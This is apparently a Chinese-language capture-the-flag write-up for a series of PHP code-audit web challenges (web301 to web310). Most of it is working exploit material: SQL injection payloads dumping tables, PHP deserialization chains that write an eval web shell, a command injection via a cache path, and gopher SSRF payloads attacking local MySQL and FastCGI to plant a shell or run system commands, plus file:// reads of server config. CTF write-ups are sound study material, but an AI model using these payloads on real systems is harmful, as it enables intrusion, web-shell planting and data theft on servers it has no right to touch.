web301

下载源码
1.png
发现第9行代码直接进行了sql语句 并无任何过滤
17行代码将查询的结果和输入的语句进行了比较
构造payload
userid=' union select 1# userpwd=1
2.png

web302

根据hint
3.png
手动修改代码
4.png
跟踪函数 发现将 查询的结果进行了加密操作
5.png
构造payload
-1' union select 'd9c77c4e454869d5d8da3b4be79694d3'-- 1
1

web303

下载代码 以前的文件 发现多了长度限制 无法注入
3.png
发现多了两个文件
2.png
有注释说是注入点 但前提是需要登陆 随后发现
1.png
可以利用admin进行登录
进行INSERT INTO注入

  1. dpt_name=1&dpt_address=1&dpt_build_year=2021-02-24&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(table_name) from information_schema.tables where table_schema=database())%23&dpt_telephone_number=
  2. dpt_name=1&dpt_address=1&dpt_build_year=2021-02-24&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')%23&dpt_telephone_number=
  3. dpt_name=1&dpt_address=1&dpt_build_year=2021-02-24&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(flag) from sds_fl9g)%23&dpt_telephone_number=

4.png

web304

修改一下表名
5.png
dpt_name=1',sds_address =(select flag from sds_flaag)%23

web305

class.php 发现file_put_contents函数
6.png
全局搜索 unserialize 函数
7.png
利用unserialize 函数 触发反序列化
构造payload

  1. <?php
  2. <?php
  3. class user{
  4. public $username;
  5. public $password;
  6. public function __construct($u,$p){
  7. $this->username=$u;
  8. $this->password=$p;
  9. }
  10. }
  11. echo urlencode(serialize(new user('1.php','<?php eval($_POST[1]);?>')));
  12. ?>

在checklogin.php中 cookie传值1.png
蚁剑连接 数据库
3.png
找到flag
4.png

web306

审计代码 发现file_put_contents危险函数
3.png
全局搜索一下unserialize 函数
4.png
发现 index.phplogin.php 都有 unserialize 函数 但 login.php 并无法利用 因为同时需要dao.phpclass.php
全局搜索一下 __destruct 函数
5.png
dao.php 中发现 并且$this->conn可控 直接可调用 close() 方法
构造payload

<?php
class log{
        public $title;
        public $info;
        public function __construct(){
                $this->title='1.php';
                $this->info='<?php eval($_POST[1]);?>';
        }
}
class dao{
        public $conn;
        public function __construct(){
                $this->conn=new log;
        }
}
echo base64_encode(serialize(new dao));
?>

web307

审计代码 发现shell_exec危险函数
6.png
全局搜索clearCache函数
logout.php中发现 并且拥有unserialize函数
7.png
我们还需要控制$this->config->cache_dir变量 全局搜索一下cache_dir变量
config.php中发现
8.png
构造payload

<?php
class dao{
      private $config;
      public function __construct(){
        $this->config=new config;
      }  
}
class config{
        public $cache_dir;
        public function __construct(){
                $this->cache_dir='cache/*;cat /var/www/html/flag.php > /var/www/html/1.txt;';
        }
}
echo base64_encode(serialize(new dao));
?>

web308

审计代码 发现为SSRF
9.png
全局搜索一下checkUpdate函数10.png
$this->config->update_url变量可控
12.png
再次搜索checkVersion函数
11.png
发现unserialize函数
发现config.php 为mysql数据库 并且无密码 可以用gopher 打mysql
13.png
构造payload

<?php
class dao{
      private $config;
      public function __construct(){
        $this->config=new config;
      }  
}
class config{
        public $update_url;
        public function __construct(){
                $this->update_url='gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%27%01%00%00%00%01
';
        }
}
echo base64_encode(serialize(new dao));
?>

web309

在上一题基础上加了 mysql密码 无法gopher打mysql
可以用gopher://127.0.0.1:9000/ 来探测一下是否有fastcgi服务
14.png
利用gopher 生成payload
16.png
构造payload

<?php
class config{
        public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH72%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00H%04%00%3C%3Fphp%20system%28%27cat%20/var/www/html/f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
}
class dao{
        private $config;
        public function __construct(){
                $this->config=new config();
        }

}
$a=new dao();
echo base64_encode(serialize($a));
?>

15.png

web310

读一下nginx文件

<?php
class config{
        public $update_url = 'file:///etc/nginx/nginx.conf';
}
class dao{
        private $config;
        public function __construct(){
                $this->config=new config();
        }

}
$a=new dao();
echo base64_encode(serialize($a));
?>

17.png
直接访问 127.0.0.1:4476 即可

<?php
class config{
        public $update_url = 'http://127.0.0.1:4476';
}
class dao{
        private $config;
        public function __construct(){
                $this->config=new config();
        }

}
$a=new dao();
echo base64_encode(serialize($a));
?>

18.png